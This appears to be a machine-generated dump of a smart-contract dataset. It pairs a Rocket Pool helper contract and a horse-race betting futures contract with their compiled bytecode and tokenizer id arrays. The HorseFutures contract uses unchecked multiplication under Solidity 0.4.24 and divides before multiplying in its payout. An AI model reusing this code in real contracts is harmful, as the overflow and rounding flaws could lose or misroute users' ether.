// SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Part: IRocketPool interface IRocketPool { function getBalance() external view returns (uint256); function getMaximumDepositPoolSize() external view returns (uint256); function getAddress(bytes32 _key) external view returns (address); function getUint(bytes32 _key) external view returns (uint256); function getDepositEnabled() external view returns (bool); function getMinimumDeposit() external view returns (uint256); } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: RocketPoolHelper contract RocketPoolHelper { using SafeMath for uint256; using Address for address; IRocketPool internal constant rocketStorage = IRocketPool(0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46); /** * @notice * Check if a user is able to transfer their rETH. Following deposit, * rocketpool has an adjustable freeze period (in blocks). At deployment * this is ~24 hours, but this will likely go down over time. * * @param _user The address of the user to check * @return True if the user is free to move any rETH they have */ function isRethFree(address _user) public view returns (bool) { // Check which block the user's last deposit was bytes32 key = keccak256(abi.encodePacked("user.deposit.block", _user)); uint256 lastDepositBlock = rocketStorage.getUint(key); if (lastDepositBlock > 0) { // Ensure enough blocks have passed uint256 depositDelay = rocketStorage.getUint( keccak256( abi.encodePacked( keccak256("dao.protocol.setting.network"), "network.reth.deposit.delay" ) ) ); uint256 blocksPassed = block.number.sub(lastDepositBlock); return blocksPassed > depositDelay; } else { return true; // true if we haven't deposited } } /** * @notice * Check to see if the rETH deposit pool can accept a specified amount * of ether based on deposits being enabled, minimum deposit size, and * free space remaining in the deposit pool. * * @param _ethAmount The amount of ether to deposit * @return True if we can deposit the input amount of ether */ function rEthCanAcceptDeposit(uint256 _ethAmount) public view returns (bool) { // pull our contract addresses IRocketPool rocketDAOProtocolSettingsDeposit = IRocketPool(getRPLContract("rocketDAOProtocolSettingsDeposit")); IRocketPool rocketDepositPool = IRocketPool(getRPLContract("rocketDepositPool")); // first check that deposits are enabled if (!rocketDAOProtocolSettingsDeposit.getDepositEnabled()) { return false; } // now check to see if there's enough space for the ETH we want to deposit uint256 maxAmount = rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize().sub( rocketDepositPool.getBalance() ); return maxAmount > _ethAmount; } /// @notice The current minimum deposit size into the rETH deposit pool. function getMinimumDepositSize() public view returns (uint256) { // pull our contract address IRocketPool rocketDAOProtocolSettingsDeposit = IRocketPool(getRPLContract("rocketDAOProtocolSettingsDeposit")); return rocketDAOProtocolSettingsDeposit.getMinimumDeposit(); } /// @notice The current rETH pool deposit address. function getRocketDepositPoolAddress() public view returns (address) { return getRPLContract("rocketDepositPool"); } function getRPLContract(string memory _contractName) internal view returns (address) { return rocketStorage.getAddress( keccak256(abi.encodePacked("contract.address", _contractName)) ); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806301aecae71461005157806364b487c41461006f5780639c7bc92a1461008f578063cc31fc62146100a2575b600080fd5b6100596100b7565b60405161006691906107dd565b60405180910390f35b61008261007d3660046106ef565b610171565b60405161006691906107d2565b61008261009d366004610697565b610364565b6100aa610522565b60405161006691906107be565b6000806100f86040518060400160405280602081526020017f726f636b657444414f50726f746f636f6c53657474696e67734465706f73697481525061055b565b9050806001600160a01b031663035cf1426040518163ffffffff1660e01b815260040160206040518083038186803b15801561013357600080fd5b505afa158015610147573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061016b9190610707565b91505090565b6000806101b26040518060400160405280602081526020017f726f636b657444414f50726f746f636f6c53657474696e67734465706f73697481525061055b565b905060006101e8604051806040016040528060118152602001701c9bd8dad95d11195c1bdcda5d141bdbdb607a1b81525061055b565b9050816001600160a01b0316636ada78476040518163ffffffff1660e01b815260040160206040518083038186803b15801561022357600080fd5b505afa158015610237573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025b91906106cf565b61026a5760009250505061035f565b6000610357826001600160a01b03166312065fe06040518163ffffffff1660e01b815260040160206040518083038186803b1580156102a857600080fd5b505afa1580156102bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102e09190610707565b846001600160a01b031663fd6ce89e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561031957600080fd5b505afa15801561032d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103519190610707565b90610619565b851093505050505b919050565b60008082604051602001610378919061074e565b60408051601f1981840301815290829052805160209091012063bd02d0f560e01b82529150600090731d8f8f00cfa6758d7be78336684788fb0ee0fa469063bd02d0f5906103ca9085906004016107dd565b60206040518083038186803b1580156103e257600080fd5b505afa1580156103f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041a9190610707565b90508015610517576000731d8f8f00cfa6758d7be78336684788fb0ee0fa466001600160a01b031663bd02d0f57f7cb36cfba78818e097a3d983f102f9107317663854a5d185ea320a1e1a7da215604051602001610478919061071f565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016104aa91906107dd565b60206040518083038186803b1580156104c257600080fd5b505afa1580156104d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fa9190610707565b905060006105084384610619565b91909111935061035f92505050565b60019250505061035f565b6000610556604051806040016040528060118152602001701c9bd8dad95d11195c1bdcda5d141bdbdb607a1b81525061055b565b905090565b6000731d8f8f00cfa6758d7be78336684788fb0ee0fa466001600160a01b03166321f8a721836040516020016105919190610786565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016105c391906107dd565b60206040518083038186803b1580156105db57600080fd5b505afa1580156105ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061391906106b3565b92915050565b600061065b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610662565b9392505050565b6000818484111561068f5760405162461bcd60e51b815260040161068691906107e6565b60405180910390fd5b505050900390565b6000602082840312156106a8578081fd5b813561065b81610849565b6000602082840312156106c4578081fd5b815161065b81610849565b6000602082840312156106e0578081fd5b8151801515811461065b578182fd5b600060208284031215610700578081fd5b5035919050565b600060208284031215610718578081fd5b5051919050565b9081527f6e6574776f726b2e726574682e6465706f7369742e64656c61790000000000006020820152603a0190565b71757365722e6465706f7369742e626c6f636b60701b815260609190911b6bffffffffffffffffffffffff1916601282015260260190565b60006f636f6e74726163742e6164647265737360801b825282516107b1816010850160208701610819565b9190910160100192915050565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b6000602082528251806020840152610805816040850160208701610819565b601f01601f19169190910160400192915050565b60005b8381101561083457818101518382015260200161081c565b83811115610843576000848401525b50505050565b6001600160a01b038116811461085e57600080fd5b5056fea2646970667358221220f69903889607ce898ce58a8147c5a2a9b567065621440a9cd5778e04f56d31bd64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2094, 26976, 29292, 21486, 3540, 2278, 2683, 2050, 2683, 22275, 2683, 16048, 2546, 2581, 2050, 2629, 2278, 26187, 2094, 2620, 24434, 15136, 17914, 2575, 2683, 2546, 2692, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 1013, 1013, 2112, 1024, 20868, 7432, 3388, 16869, 8278, 20868, 7432, 3388, 16869, 1063, 3853, 2131, 26657, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 2131, 17848, 28591, 3207, 6873, 28032, 16869, 5332, 4371, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 2131, 4215, 16200, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,461
0x96d5c3704a41a350858dbc83db762e8b24d835ad
pragma solidity ^0.4.24; contract BettingInterface { // place a bet on a coin(horse) lockBetting function placeBet(bytes32 horse) external payable; // method to claim the reward amount function claim_reward() external; mapping (bytes32 => bool) public winner_horse; function checkReward() external constant returns (uint); } /** * @dev Allows to bet on a race and receive future tokens used to withdraw winnings */ contract HorseFutures { event Claimed(address indexed Race, uint256 Count); event Selling(bytes32 Id, uint256 Amount, uint256 Price, address indexed Race, bytes32 Horse, address indexed Owner); event Buying(bytes32 Id, uint256 Amount, uint256 Price, address indexed Race, bytes32 Horse, address indexed Owner); event Canceled(bytes32 Id, address indexed Owner,address indexed Race); event Bought(bytes32 Id, uint256 Amount, address indexed Owner, address indexed Race); event Sold(bytes32 Id, uint256 Amount, address indexed Owner, address indexed Race); event BetPlaced(address indexed EthAddr, address indexed Race); struct Offer { uint256 Amount; bytes32 Horse; uint256 Price; address Race; bool BuyType; } mapping(address => mapping(address => mapping(bytes32 => uint256))) ClaimTokens; mapping(address => mapping (bytes32 => uint256)) TotalTokensCoinRace; mapping(address => bool) ClaimedRaces; mapping(address => uint256) toDistributeRace; //market mapping(bytes32 => Offer) market; mapping(bytes32 => address) owner; function placeBet(bytes32 horse, address race) external payable _validRace(race) { BettingInterface raceContract = BettingInterface(race); raceContract.placeBet.value(msg.value)(horse); uint256 c = uint256(msg.value / 1 finney); ClaimTokens[msg.sender][race][horse] += c; TotalTokensCoinRace[race][horse] += c; emit BetPlaced(msg.sender, race); } function getOwnedAndTotalTokens(bytes32 horse, address race) external view _validRace(race) returns(uint256,uint256) { return (ClaimTokens[msg.sender][race][horse],TotalTokensCoinRace[race][horse]); } // required for the claimed ether to be transfered here function() public payable { } function claim(address race) external _validRace(race) { BettingInterface raceContract = BettingInterface(race); if(!ClaimedRaces[race]) { toDistributeRace[race] = raceContract.checkReward(); raceContract.claim_reward(); ClaimedRaces[race] = true; } uint256 totalWinningTokens = 0; uint256 ownedWinningTokens = 0; bool btcWin = raceContract.winner_horse(bytes32("BTC")); bool ltcWin = raceContract.winner_horse(bytes32("LTC")); bool ethWin = raceContract.winner_horse(bytes32("ETH")); if(btcWin) { totalWinningTokens += TotalTokensCoinRace[race][bytes32("BTC")]; ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("BTC")]; ClaimTokens[msg.sender][race][bytes32("BTC")] = 0; } if(ltcWin) { totalWinningTokens += TotalTokensCoinRace[race][bytes32("LTC")]; ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("LTC")]; ClaimTokens[msg.sender][race][bytes32("LTC")] = 0; } if(ethWin) { totalWinningTokens += TotalTokensCoinRace[race][bytes32("ETH")]; ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("ETH")]; ClaimTokens[msg.sender][race][bytes32("ETH")] = 0; } uint256 claimerCut = toDistributeRace[race] / totalWinningTokens * ownedWinningTokens; msg.sender.transfer(claimerCut); emit Claimed(race, claimerCut); } function sellOffer(uint256 amount, uint256 price, address race, bytes32 horse) external _validRace(race) _validHorse(horse) returns (bytes32) { uint256 ownedAmount = ClaimTokens[msg.sender][race][horse]; require(ownedAmount >= amount); require(amount > 0); bytes32 id = keccak256(abi.encodePacked(amount,price,race,horse,true,block.timestamp)); require(owner[id] == address(0)); //must not already exist Offer storage newOffer = market[id]; newOffer.Amount = amount; newOffer.Horse = horse; newOffer.Price = price; newOffer.Race = race; newOffer.BuyType = false; ClaimTokens[msg.sender][race][horse] -= amount; owner[id] = msg.sender; emit Selling(id,amount,price,race,horse,msg.sender); return id; } function getOffer(bytes32 id) external view returns(uint256,bytes32,uint256,address,bool) { Offer memory off = market[id]; return (off.Amount,off.Horse,off.Price,off.Race,off.BuyType); } function buyOffer(uint256 amount, uint256 price, address race, bytes32 horse) external payable _validRace(race) _validHorse(horse) returns (bytes32) { require(amount > 0); require(price > 0); require(msg.value == price * amount); bytes32 id = keccak256(abi.encodePacked(amount,price,race,horse,false,block.timestamp)); require(owner[id] == address(0)); //must not already exist Offer storage newOffer = market[id]; newOffer.Amount = amount; newOffer.Horse = horse; newOffer.Price = price; newOffer.Race = race; newOffer.BuyType = true; owner[id] = msg.sender; emit Buying(id,amount,price,race,horse,msg.sender); return id; } function cancelOrder(bytes32 id) external { require(owner[id] == msg.sender); Offer memory off = market[id]; if(off.BuyType) { msg.sender.transfer(off.Amount * off.Price); } else { ClaimTokens[msg.sender][off.Race][off.Horse] += off.Amount; } emit Canceled(id,msg.sender,off.Race); delete market[id]; delete owner[id]; } function buy(bytes32 id, uint256 amount) external payable { require(owner[id] != address(0)); require(owner[id] != msg.sender); Offer storage off = market[id]; require(!off.BuyType); require(amount <= off.Amount); uint256 cost = off.Price * amount; require(msg.value >= cost); ClaimTokens[msg.sender][off.Race][off.Horse] += amount; owner[id].transfer(msg.value); emit Bought(id,amount,msg.sender, off.Race); if(off.Amount == amount) { delete market[id]; delete owner[id]; } else { off.Amount -= amount; } } function sell(bytes32 id, uint256 amount) external { require(owner[id] != address(0)); require(owner[id] != msg.sender); Offer storage off = market[id]; require(off.BuyType); require(amount <= off.Amount); require(ClaimTokens[msg.sender][off.Race][off.Horse] >= amount); uint256 cost = amount * off.Price; ClaimTokens[msg.sender][off.Race][off.Horse] -= amount; ClaimTokens[owner[id]][off.Race][off.Horse] += amount; msg.sender.transfer(cost); emit Sold(id,amount,msg.sender,off.Race); if(off.Amount == amount) { delete market[id]; delete owner[id]; } else { off.Amount -= amount; } } modifier _validRace(address race) { require(race != address(0)); _; } modifier _validHorse(bytes32 horse) { require(horse == bytes32("BTC") || horse == bytes32("ETH") || horse == bytes32("LTC")); _; } }
0x6080604052600436106100985763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663084b8246811461009a5780630ddeb632146100d75780631e83409a146100e557806353bb2eb6146101065780637489ec231461013557806383be9d541461014d578063b592de3a14610164578063d597b8c81461017f578063e5ba0b8a146101cd575b005b3480156100a657600080fd5b506100be600435600160a060020a03602435166101f7565b6040805192835260208301919091528051918290030190f35b61009860043560243561025c565b3480156100f157600080fd5b50610098600160a060020a036004351661042f565b610123600435602435600160a060020a0360443516606435610933565b60408051918252519081900360200190f35b34801561014157600080fd5b50610098600435610b68565b610098600435600160a060020a0360243516610d17565b34801561017057600080fd5b50610098600435602435610e44565b34801561018b57600080fd5b50610197600435611062565b60408051958652602086019490945284840192909252600160a060020a0316606084015215156080830152519081900360a00190f35b3480156101d957600080fd5b50610123600435602435600160a060020a03604435166064356110e2565b60008082600160a060020a038116151561021057600080fd5b505033600090815260208181526040808320600160a060020a03959095168084529482528083208684528252808320549483526001825280832095835294905292909220549092909150565b6000828152600560205260408120548190600160a060020a0316151561028157600080fd5b600084815260056020526040902054600160a060020a03163314156102a557600080fd5b6000848152600460205260409020600381015490925060a060020a900460ff16156102cf57600080fd5b81548311156102dd57600080fd5b5060028101548202348111156102f257600080fd5b336000908152602081815260408083206003860154600160a060020a03908116855290835281842060018701548552835281842080548801905587845260059092528083205490519116913480156108fc02929091818181858888f19350505050158015610364573d6000803e3d6000fd5b50600382015460408051868152602081018690528151600160a060020a039093169233927fa84600642b3221a55f75222baa71e2f9d9d88c7126dd053c3b0836c59f5fe598928290030190a381548314156104215760008481526004602090815260408083208381556001810184905560028101849055600301805474ffffffffffffffffffffffffffffffffffffffffff1916905560059091529020805473ffffffffffffffffffffffffffffffffffffffff19169055610429565b815483900382555b50505050565b600080808080808087600160a060020a038116151561044d57600080fd5b600160a060020a03891660009081526002602052604090205489985060ff16151561059c5787600160a060020a031663c4b24a466040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156104c957600080fd5b505af11580156104dd573d6000803e3d6000fd5b505050506040513d60208110156104f357600080fd5b5051600160a060020a03808b166000908152600360205260408082209390935582517f055ee2530000000000000000000000000000000000000000000000000000000081529251918b169263055ee253926004808301939282900301818387803b15801561056057600080fd5b505af1158015610574573d6000803e3d6000fd5b505050600160a060020a038a166000908152600260205260409020805460ff19166001179055505b604080517f0f76964400000000000000000000000000000000000000000000000000000000815260e860020a62425443026004820152905160009850889750600160a060020a038a1691630f76964491602480830192602092919082900301818c87803b15801561060c57600080fd5b505af1158015610620573d6000803e3d6000fd5b505050506040513d602081101561063657600080fd5b5051604080517f0f76964400000000000000000000000000000000000000000000000000000000815260e860020a624c54430260048201529051919650600160a060020a038a1691630f769644916024808201926020929091908290030181600087803b1580156106a657600080fd5b505af11580156106ba573d6000803e3d6000fd5b505050506040513d60208110156106d057600080fd5b5051604080517f0f76964400000000000000000000000000000000000000000000000000000000815260eb60020a6208aa890260048201529051919550600160a060020a038a1691630f769644916024808201926020929091908290030181600087803b15801561074057600080fd5b505af1158015610754573d6000803e3d6000fd5b505050506040513d602081101561076a57600080fd5b5051925084156107cb57600160a060020a038916600081815260016020908152604080832060e860020a6242544302808552908352818420543385528484528285209585529483528184209084529091528120805491905597019695909501945b831561082857600160a060020a038916600081815260016020908152604080832060e860020a624c544302808552908352818420543385528484528285209585529483528184209084529091528120805491905597019695909501945b821561088557600160a060020a038916600081815260016020908152604080832060eb60020a6208aa8902808552908352818420543385528484528285209585529483528184209084529091528120805491905597019695909501945b600160a060020a038916600090815260036020526040902054869088908115156108ab57fe5b0402915033600160a060020a03166108fc839081150290604051600060405180830381858888f193505050501580156108e8573d6000803e3d6000fd5b50604080518381529051600160a060020a038b16917fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a919081900360200190a2505050505050505050565b6000808084600160a060020a038116151561094d57600080fd5b8460e860020a624254430281148061096d575060eb60020a6208aa890281145b80610980575060e860020a624c54430281145b151561098b57600080fd5b6000891161099857600080fd5b600088116109a557600080fd5b34888a02146109b357600080fd5b6040805160208082018c90528183018b90526c01000000000000000000000000600160a060020a038b160260608301526074820189905260006094830152426095808401919091528351808403909101815260b590920192839052815191929182918401908083835b60208310610a3b5780518252601f199092019160209182019101610a1c565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600081815260059092529290205491975050600160a060020a0316159150610a8c905057600080fd5b60008481526004602090815260408083208c8155600181018a9055600281018c905560038101805474ff000000000000000000000000000000000000000019600160a060020a038e1673ffffffffffffffffffffffffffffffffffffffff1992831681179190911660a060020a17909255600585529483902080549095163390811790955582518981529384018e90528383018d9052606084018b9052915190965090917fa44f97c28e07687f64478ac4e969516646944b20997925b2b283a3b7db265c77919081900360800190a35091979650505050505050565b610b7061142a565b600082815260056020526040902054600160a060020a03163314610b9357600080fd5b50600081815260046020908152604091829020825160a08101845281548152600182015492810192909252600281015492820192909252600390910154600160a060020a038116606083015260a060020a900460ff161580156080830152610c305760408082015182519151339290910280156108fc02916000818181858888f19350505050158015610c2a573d6000803e3d6000fd5b50610c6a565b8051336000908152602081815260408083206060860151600160a060020a0316845282528083208286015184529091529020805490910190555b6060810151604080518481529051600160a060020a039092169133917f878b04c3244d10ed3da6179e5551b1346ea6910cdcacd37d8957f5eda32aee66919081900360200190a35060009081526004602090815260408083208381556001810184905560028101849055600301805474ffffffffffffffffffffffffffffffffffffffffff1916905560059091529020805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008082600160a060020a0381161515610d3057600080fd5b604080517f042b5fed000000000000000000000000000000000000000000000000000000008152600481018790529051859450600160a060020a0385169163042b5fed91349160248082019260009290919082900301818588803b158015610d9757600080fd5b505af1158015610dab573d6000803e3d6000fd5b505050505066038d7ea4c6800034811515610dc257fe5b33600081815260208181526040808320600160a060020a038b168085529083528184208c85528352818420805497909604968701909555848352600182528083208b845290915280822080548601905551939550919290917f49110e93c600fbc20f5fe19021ec7af6c51e2ba07150652252d8b2db7c8fb3d691a35050505050565b6000828152600560205260408120548190600160a060020a03161515610e6957600080fd5b600084815260056020526040902054600160a060020a0316331415610e8d57600080fd5b6000848152600460205260409020600381015490925060a060020a900460ff161515610eb857600080fd5b8154831115610ec657600080fd5b336000908152602081815260408083206003860154600160a060020a03168452825280832060018601548452909152902054831115610f0457600080fd5b50600281015433600081815260208181526040808320600387018054600160a060020a039081168652918452828520600189018054875290855283862080548b900390558a865260058552838620548316865285855283862091549092168552835281842090548452909152808220805487019055519285029283156108fc0291849190818181858888f19350505050158015610fa5573d6000803e3d6000fd5b50600382015460408051868152602081018690528151600160a060020a039093169233927f1cd613202023590413800c509a1eb30864b494f0f0f74bb99886e755835d9d20928290030190a381548314156104215760008481526004602090815260408083208381556001810184905560028101849055600301805474ffffffffffffffffffffffffffffffffffffffffff1916905560059091529020805473ffffffffffffffffffffffffffffffffffffffff19169055610429565b600080600080600061107261142a565b5050506000938452505060046020908152604092839020835160a081018552815480825260018301549382018490526002830154958201869052600390920154600160a060020a0381166060830181905260a060020a90910460ff16151560809092018290529195929493509091565b600080808085600160a060020a03811615156110fd57600080fd5b8560e860020a624254430281148061111d575060eb60020a6208aa890281145b80611130575060e860020a624c54430281145b151561113b57600080fd5b33600090815260208181526040808320600160a060020a038c16845282528083208a845290915290205494508985101561117457600080fd5b60008a1161118157600080fd5b6040805160208082018d90528183018c90526c01000000000000000000000000600160a060020a038c16026060830152607482018a90527f01000000000000000000000000000000000000000000000000000000000000006094830152426095808401919091528351808403909101815260b590920192839052815191929182918401908083835b602083106112285780518252601f199092019160209182019101611209565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600081815260059092529290205491975050600160a060020a0316159150611279905057600080fd5b600460008560001916600019168152602001908152602001600020925089836000018190555086836001018160001916905550888360020181905550878360030160006101000a815481600160a060020a030219169083600160a060020a0316021790555060008360030160146101000a81548160ff0219169083151502179055508960008033600160a060020a0316600160a060020a0316815260200190815260200160002060008a600160a060020a0316600160a060020a0316815260200190815260200160002060008960001916600019168152602001908152602001600020600082825403925050819055503360056000866000191660001916815260200190815260200160002060006101000a815481600160a060020a030219169083600160a060020a0316021790555033600160a060020a031688600160a060020a03167f1ee9118147f25724614d349ac3423362effd43942e14346c800cbac648a7b1c7868d8d8c604051808560001916600019168152602001848152602001838152602001826000191660001916815260200194505050505060405180910390a3509198975050505050505050565b6040805160a081018252600080825260208201819052918101829052606081018290526080810191909152905600a165627a7a